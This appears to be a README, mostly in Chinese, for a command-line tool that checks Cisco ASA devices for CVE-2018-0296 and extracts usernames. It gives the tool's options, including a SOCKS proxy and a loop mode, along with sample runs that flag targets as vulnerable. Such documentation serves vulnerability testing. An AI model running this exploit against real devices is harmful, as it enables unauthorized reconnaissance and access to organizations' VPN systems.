milo2012/cve-2018-0296Test CVE-2018-0296 and extract usernames
测试CVE-2018-0296并从Cisco ASA中提取用户名。
更多技术细节请参考 https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/。
#帮助菜单
$ ./CVE-2018-0296 -h
选项:
-h, --help 显示帮助信息
-u, --url 目标设备的URL
-i Socks代理的IP
-p Socks代理的端口
-t, --time 循环之间休眠的秒数
--loop 循环模式
#使用指南
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [存在漏洞]
[*] 找到的用户名
testuser1
$ ./CVE-2018-0296 -u https://www.yahoo.com:443
[*] 正在检查: https://www.yahoo.com
[+] https://www.yahoo.com [NOT Cisco VPN]
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x
[+] https://x.x.x.x [Cisco VPN]
[+] https://x.x.x.x [存在漏洞]
[*] 未找到用户名
$ ./CVE-2018-0296 -i 127.0.0.1 -p 10000 --loop 10 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [存在漏洞]
[*] 找到的用户名
testuser1